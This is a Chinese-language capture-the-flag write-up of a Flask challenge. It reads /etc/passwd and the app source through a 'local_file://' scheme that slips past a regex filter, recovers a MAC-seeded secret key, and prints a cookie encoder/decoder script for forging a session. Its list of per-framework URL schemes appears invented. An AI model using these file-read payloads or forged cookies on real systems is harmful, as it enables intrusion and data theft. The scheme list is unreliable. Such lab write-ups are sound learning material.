有句英文,看看什么意思
好像也可以不看
进入靶场
点击蓝色字体
我勒个豆,百度哇
所以重点应该在url上,属于任意文件读取类型
接下来该判断框架了
常见的web框架如下
一,Python 框架
1.Flask
URL 示例 1:`http://example.com/read?path=local_flask:///etc/passwd` -
URL 示例 2:`http://example.com/load?source=flask_data:///app/logs/access.log`
2.Django
URL 示例 1:`http://example.com/get?file=django_custom:///etc/passwd` -
URL 示例 2:`http://example.com/readfile?path=django_appdata:///project/settings.py`
二,PHP 框架
1.Laravel
URL 示例 1:`http://example.com/fetch?resource=laravel_internal:///etc/passwd` -
URL 示例 2:`http://example.com/read?file=laravel_storage:///app/public/images/test.jpg`
2.Symfony
URL 示例 1:`http://example.com/retrieve?path=symfony_special:///etc/passwd`
URL 示例 2:`http://example.com/getfile?source=symfony_bundle:///MyBundle/Resources/config.yml`
三,Java 框架
1.Spring Boot
URL 示例 1:`http://example.com/read?uri=springboot_custom:///etc/passwd` -
URL 示例 2:`http://example.com/loadfile?file=springboot_config:///application.properties` -
2.Struts
URL 示例 1:`http://example.com/get?resource=struts_internal:///etc/passwd` -
URL 示例 2:`http://example.com/readfile?path=struts_action:///actions/resources/data.xml`
四,Node.js 框架
1,Express
URL 示例 1:`http://example.com/fetch?path=express_local:///etc/passwd` -
URL 示例 2:`http://example.com/read?file=express_module:///modules/utils/config.json`
2,Koa
URL 示例 1:`http://example.com/get?source=koa_custom:///etc/passwd` -
URL 示例 2:`http://example.com/readfile?path=koa_context:///ctx/data.txt`
当无法判断框架类型时也会使用 file:///etc/passwd
进行文件读取测试。
那就先尝试file:///etc/passwd
不太行
再试一个
local_file:///etc/passwd
在 Flask 框架里,app.py
往往是项目的核心文件
所以通过它来读取源码
# 指定文件编码为 UTF-8,确保可以正确处理中文字符等非 ASCII 字符
# encoding:utf-8
# 导入所需的模块
# re 模块用于进行正则表达式匹配
import re
# random 模块用于生成随机数
import random
# uuid 模块用于生成通用唯一识别码,这里使用 uuid.getnode() 获取计算机的 MAC 地址作为随机数种子
import uuid
# urllib 模块用于处理 URL 相关操作,如打开 URL 并读取内容
import urllib
# 从 flask 框架中导入 Flask 类用于创建 Flask 应用实例
# session 用于管理会话,可在不同请求之间存储和获取用户信息
# request 用于获取客户端的请求信息,如请求参数等
from flask import Flask, session, request
# 创建一个 Flask 应用实例
app = Flask(__name__)
# 使用计算机的 MAC 地址作为随机数种子,确保每次运行时生成的随机数序列不同
random.seed(uuid.getnode())
# 为 Flask 应用设置 SECRET_KEY,用于加密会话数据
# 这里通过随机数乘以 233 并转换为字符串来生成 SECRET_KEY
app.config['SECRET_KEY'] = str(random.random() * 233)
# 开启 Flask 应用的调试模式,方便开发过程中定位问题
app.debug = True
# 定义根路由,当用户访问应用的根路径(/)时,会执行下面的函数
@app.route('/')
def index():
# 在会话中设置一个键为 'username' 的值为 'www-data'
session['username'] = 'www-data'
# 返回一个字符串作为响应,提示用户可以读取某些内容
return 'Hello World! Read somethings'
# 定义 /read 路由,用于处理文件读取请求
@app.route('/read')
def read():
try:
# 从请求的查询参数中获取名为 'url' 的值,该值表示要读取的文件或资源的 URL
url = request.args.get('url')
# 使用正则表达式检查 URL 是否以 'file' 开头(不区分大小写)
# re.findall 函数会返回所有匹配的结果,这里如果匹配到则 m 为非空列表
m = re.findall('^file.*', url, re.IGNORECASE)
# 使用正则表达式检查 URL 中是否包含 'flag' 字符串(不区分大小写)
# 如果匹配到则 n 为非空列表
n = re.findall('flag', url, re.IGNORECASE)
# 如果 URL 以 'file' 开头或者包含 'flag' 字符串,则认为是潜在的攻击行为
if m or n:
return 'No Hack'
# 使用 urllib.urlopen 打开指定的 URL,并获取响应对象
res = urllib.urlopen(url)
# 读取响应对象的内容并返回
return res.read()
# 捕获可能出现的异常
except Exception as ex:
# 将异常信息转换为字符串并打印,方便调试
print(str(ex))
# 如果出现异常,返回 'no response' 作为响应
return 'no response'
# 定义 /flag 路由,用于获取标志文件的内容
@app.route('/flag')
def flag():
# 检查会话是否存在,并且会话中的 'username' 键的值是否为 'fuck'
if session and session['username'] == 'fuck':
# 如果条件满足,打开 /flag.txt 文件并读取其内容返回
return open('/flag.txt').read()
else:
# 如果条件不满足,返回 'Access denied' 表示访问被拒绝
return 'Access denied'
# 当该脚本作为主程序运行时,执行以下代码
if __name__ == '__main__':
# 启动 Flask 应用
# debug=True 表示开启调试模式
# host="0.0.0.0" 表示应用可以接受来自任何 IP 地址的请求
app.run(debug=True, host="0.0.0.0")
解读代码
根据此句,知要打开flag.txt需要满足session['username'] == 'fuck'
而与session相关的代码在这
在 Python 中,uuid.getnode() 是 uuid 模块提供的一个函数,主要用于获取当前设备的硬件地址(通常是 MAC 地址),并将其作为一个 48 位的整数返回。
所以我们需要知道mac地址
而在 Linux 系统中,/sys 目录是一个虚拟文件系统,它提供了一种内核数据结构的接口,用于向用户空间暴露系统硬件和设备驱动的信息。/sys/class/net 目录下包含了系统中所有网络接口的信息,每个网络接口对应一个子目录。
eth0 通常是 Linux 系统中第一个以太网网络接口的默认名称(不过现在很多系统会采用更具描述性的命名规则)。在 eth0 对应的子目录下,address 文件包含了该网络接口的 MAC 地址。
local_file:///sys/class/net/eth0/address
mac地址:4e:d9:ac:5d:21:a4
import random
random.seed(0x4ed9ac5d21a4)
print(str(random.random()*233))
28.446782818032307
python3 .\test.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Z5SrWQ.c7ehqhgn_cr66-Med3jVqhfvb_U' -s '28.4467828180'
不明白它老是报错
一直不匹配
脚本是没有问题的,如下
# !/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
self.config = {
'SECRET_KEY_FALLBACKS': []
}
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
@staticmethod
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
@staticmethod
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
else: # > 3.4
class FSCM(ABC):
@staticmethod
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
@staticmethod
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if args.subcommand == 'encode':
if args.secret_key is not None and args.cookie_structure is not None:
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif args.subcommand == 'decode':
if args.secret_key is not None and args.cookie_value is not None:
print(FSCM.decode(args.cookie_value, args.secret_key))
elif args.cookie_value is not None:
print(FSCM.decode(args.cookie_value))
这道题消耗了太长太长时间了
我先把后续思路写下
这一步匹配后他会生成{'username': b'www-data'}
将此
修改为{'username': b'fuck'},
然后重新加密生成session
用新的代替旧的后再去访问/flag即可
笔记
这个题太耗时了,先是工具搞不懂,再是代码出错,最后cookie和密钥不匹配,每一次靶场重启都要查mac地址,代码跑出密钥,重换cookie值,上面记录的图片什么的也一直在换,我先看看后面的题目,再来完善这道